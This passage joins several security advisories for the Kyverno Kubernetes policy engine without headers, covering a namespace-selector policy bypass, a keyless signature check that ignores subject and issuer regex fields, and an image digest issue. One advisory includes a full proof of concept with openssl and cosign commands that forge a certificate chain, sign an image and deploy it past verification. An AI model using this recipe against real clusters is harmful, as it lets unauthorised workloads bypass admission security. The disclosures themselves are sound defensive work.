Conditions: An attacker needs permissions to create or update Kyverno Policy or ClusterPolicy resources. This is often a privileged operation but may be delegated in some environments. Consequences: Degraded policy enforcement, inability to create/update resources, and loss of policy reporting visibility.

Mitigation

- Add robust nil handling in getValueAsStringMap. - Look into adding graceful error handling in JMESPath substitution. Prevent evaluation errors (like undefined functions) from resulting in nil values.

Summary

Due to a missing error propagation in function GetNamespaceSelectorsFromNamespaceLister in pkg/utils/engine/labels.go it may happen that policy rules using namespace selector(s) in their match statements are mistakenly not applied during admission review request processing. As a consequence, security-critical mutations and validations are bypassed, potentially allowing attackers with K8s API access to perform malicious operations.

Details

As a policy engine Kyverno is a critical component ensuring the security of Kubernetes clusters by apply security-relevant policy rules in the Kubernetes admission control process.

We encountered a case where Kyverno did not apply policy rules which should have been applied. This happened in both the mutation and the validation phase of admission control. Effectively Kyverno handled the admission review requests as if those policy rules did not exist. Consequently, the Kube API request was accepted without applying security-relevant patches and validations.

As the root cause we identified a missing error propagation in function GetNamespaceSelectorsFromNamespaceLister in pkg/utils/engine/labels.go ([src][1]).

All affected policy rules use a namespace selector in their match resource filters like this:

yaml match: all: - resources: namespaceSelector: matchExpressions: - key: label1 operator: Exists

Such specification intents to apply rules only to resource objects which reside in a namespace whose labels match the given label expressions.

When Kyverno handles an admission webhook, function GetNamespaceSelectorsFromNamespaceLister in package github.com/kyverno/kyverno/pkg/utils/engine ([src][1]) is called to retrieve the labels of the request object's namespace. This function gets the namespace object from a "k8s.io/client-go/listers/core/v1".NamespaceLister. In case the namespace lister returns an error, GetNamespaceSelectorsFromNamespaceLister does NOT propagate this error to its caller, but returns an empty label map, which is equivalent to a namespace without any labels.

The returned label map is later used to select matching policy rules. If a rule has a resource filter with namespace selector, it will be mistakenly excluded or included.

The namespace lister fails to return the namespace object if the underlying SharedIndexInformer has not (yet) updated its cache. Those updates happen based on watch events from the Kube API Server, which does not guarantee any maximum delivery time. If the Kube API Server handling the watch is under high load or otherwise impaired (e.g. requests to etcd take longer due to pending leader election in HA setup) then informer cache updates can be delayed significantly. However, we did not find a way to reliably reproduce such condition.

To bypass Kyverno policies, an attacker may try to exploit the described misbehavior by:

- putting the Kube API Server under load before sending requests that Kyverno policies should be bypassed for.

- sending many request with a high rate to Kube API Server.

We did not try any of such attack vectors and therefore cannot prove their effectiveness.

In our scenario the Kyverno policies apply to pods in "sandbox" namespaces identified as such by certain labels. Those single-use namespaces and the pods therein are frequently created (and removed) by other controllers. Therefore, Kyverno often receives admission webhooks for objects whose namespace has been created shortly before.

Correction Proposal

Function GetNamespaceSelectorsFromNamespaceLister in package github.com/kyverno/kyverno/pkg/utils/engine ([src][1]) should return an error instead of an empty label map in case it could not get the namespace object from the namespace lister. This error will then cause admission webhook processing to fail, which lets Kubernetes fail the Kube API request if the policy's failure policy is Fail (a must for security-relevant policies).

In addition, function GetNamespaceSelectorsFromNamespaceLister could retry (with deadline) to get the namespace object from the namespace lister in case of a NotFound error. But as admission webhook processing time should be kept as short as possible, this might not be a good idea.

Another option would be to perform a GET request for the namespace as a fallback in case the namespace lister returns a NotFound error.

PoC

We did not find a way to reliably reproduce such case.

Impact

Administrators attempting to enforce cluster security through Kyverno policies, but that allow less privileged users or service accounts to create/update/delete resources.

[1]: https://github.com/kyverno/kyverno/blob/a96b1a4794b4d25cb0c6d72c05fc6355e95cf65c/pkg/utils/engine/labels.go#L10

Summary Kyverno ignores subjectRegExp and IssuerRegExp while verifying artifact's sign with keyless mode. It allows the attacker to deploy kubernetes resources with the artifacts that were signed by unexpected certificate.

Details Kyverno checks only subject and issuer fields when verifying an artifact's signature: https://github.com/Mohdcode/kyverno/blob/373f942ea9fa8b63140d0eb0e101b9a5f71033f3/pkg/cosign/cosign.go#L537. While there are subjectRegExp and issuerRegExp fields that can also be used for the defining expected subject and issue values. If the last ones are used then their values are not taken in count and there is no actually restriction for the certificate that was used for the image sign.

PoC

For the successful exploitation attacker needs: - Private key of any certificate in the certificate chain that trusted by cosign. It can be certificate that signed by company's self-signed Root CA if they are using their own PKI. - Access to container registry to push artifacts images - Availability to deploy malicious artifacts to the kubernetes cluster

1. Generate certificate that will be used for the image signing with the oidcissuer url. That can be done with the Fulcio or manually by using openssl

Create self-signed RootCA openssl req -x509 -newkey rsa:4096 -keyout root-ca-key.pem -sha256 -noenc -days 9999 -subj "/C=AA/L=Location/O=IT/OU=Security/CN=Root Certificate Authority" -out root-ca.pem

Create request for the intermediate certificate openssl req -noenc -newkey rsa:4096 -keyout intermediate-ca-key.pem -addext "subjectKeyIdentifier = hash" -addext "keyUsage = critical,keyCertSign" -addext "basicConstraints = critical,CA:TRUE,pathlen:2" -subj "/C=AA/L=Location/O=IT/OU=Security/CN=Intermediate Certificate Authority" -out intermediate-ca.csr

Issue intermediate cert with RootCA openssl x509 -req -days 9999 -sha256 -in intermediate-ca.csr -CA root-ca.pem -CAkey root-ca-key.pem -copyextensions copy -out intermediate-ca.pem

OID11 is the hexadecimal representation of the oidcissuer url OID11=$(echo -n "https://me.net" | xxd -p -u)

Create request for the leaf certificate openssl req -noenc -newkey rsa:4096 -keyout my-key.pem -addext "subjectKeyIdentifier = hash" -addext "basicConstraints = critical,CA:FALSE" -addext "keyUsage = critical,digitalSignature" -addext "subjectAltName = email:me@me.net" -addext "1.3.6.1.4.1.57264.1.1 = DER:${OID11}" -addext "1.3.6.1.4.1.57264.1.8 = ASN1:UTF8String:https://me.net" -subj "/C=AA/L=Location/O=IT/OU=Security/CN=My Cosign Certificate" -out my-cert.csr

Issue leaf cert with Intermediate CA openssl x509 -req -in my-cert.csr -CA intermediate-ca.pem -CAkey intermediate-ca-key.pem -copyextensions copy -days 9999 -sha256 -out my-cert.pem

Generate certificates chain cat intermediate-ca.pem root-ca.pem > cert-chain.pem

2. Build and push container image 2. Import key and sign the image with the generated certificate COSIGNPASSWORD="" cosign import-key-pair --key my-key.pem --output-key-prefix=import-my-key COSIGNPASSWORD="" cosign sign $IMAGEWITHHASH --tlog-upload=false --cert my-cert.pem --cert-chain cert-chain.pem --key import-my-key.key

3. Add ClusterPolicy for the Kyverno with the wrong subject and issuer regexp. Adding (Fulcio) Root CA as secret and using it in policy is optional only if cosign cannot trust it: apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: check-image-keyless spec: validationFailureAction: Enforce webhookTimeoutSeconds: 30 rules: - name: check-image-keyless match: any: - resources: kinds: - Pod context: - name: encodedCert apiCall: urlPath: "/api/v1/namespaces/kyverno/secrets/fulcio-ca" method: GET jmesPath: "data.\"fulcio-ca.pem\"" - name: root variable: jmesPath: "base64decode(encodedCert)" verifyImages: - imageReferences: - "<IMAGEREGEXP>" attestors: - entries: - keyless: subjectRegExp: https://ivalid issuerRegExp: https://ivalid roots: "{{root}}" rekor: url: <URLTOREKOR> pubkey: |- -----BEGIN PUBLIC KEY----- ... -----END PUBLIC KEY----- ctlog: pubkey: |- -----BEGIN PUBLIC KEY----- ... -----END PUBLIC KEY-----

4. Deploy previously signed image apiVersion: apps/v1 kind: Deployment metadata: labels: app: image-sign name: image-sign namespace: default spec: replicas: 2 selector: matchLabels: app: image-sign strategy: {} template: metadata: annotations: labels: app: image-sign spec: containers: - image: <YOURIMAGE> imagePullPolicy: Always name: image-signing ports: - containerPort: 5000 resources: requests: memory: 500Mi cpu: 0.1 limits: memory: 2Gi cpu: 0.2 restartPolicy: Always status: {}

5. The deployment with pods will be create successfully due to not checking subjectRegExp and issuerRegExp fields validation

Impact Deploying unauthorized kubernetes resources that can lead to full compromise of kubernetes cluster

P.S. Problem was discovered by me when testing image sign verifying with keyless signing: https://kubernetes.slack.com/archives/CLGR9BJU9/p1740136401365279?threadts=1740136401.365279&cid=CLGR9BJU9. Then it was verified and fixed by Mohcode. But i think it should be registered as security problem such as it allows to bypass part of the verification mechanism and Kyverno users should be aware of it.

An issue was found in Kyverno that allowed an attacker to control the digest of images used by Kyverno users. The issue would require the attacker to compromise the registry that the Kyverno fetch their images from. The attacker could then return a vulnerable image to the the user and leverage that to further escalate their position. As such, the attacker would need to know which images the Kyverno user consumes and know of one of multiple exploitable vulnerabilities in previous digests of the images. Alternatively, if the attacker has compromised the registry, they could craft a malicious image with a different digest with intentionally placed vulnerabilities and deliver the image to the user.

An attacker was not be able to control other parameters of the image than the digest by exploiting this vulnerability.

Users pulling their images from trusted registries are not impacted by this vulnerability. There is no evidence of this being exploited in the wild.

The issue has been patched in 1.11.0.

The vulnerability was found during an ongoing security audit of Kyverno conducted by Ada Logics, facilitated by OSTIF and funded by the CNCF.

Members of the community have raised concerns over the similarity between this vulnerability and the one identified with CVE-2023-46737; They are two different issues with two different root causes and different levels of impact. Some differences are:

- The current advisory (GHSA-3hfq-cx9j-923w) has its root cause in Kyverno whereas the root cause of CVE-2023-46737 is in Cosigns code base. - The impact of the current advisory (GHSA-3hfq-cx9j-923w) is that an attacker can trick Kyverno into consuming a different image than the one the user requested; The impact of CVE-2023-46737 is an endless data attack resulting in a denial-of-service. - The fix of the current advisory (GHSA-3hfq-cx9j-923w) does not result in users being secure from CVE-2023-46737 and vice versa.

Impact

Users of Kyverno on versions 1.8.3 or 1.8.4 who use verifyImages rules to verify container image signatures, and do not prevent use of unknown registries.

Patches

This issue has been fixed in version 1.8.5

Workarounds

Configure a Kyverno policy to restrict registries to a set of secure trusted image registries (sample).

References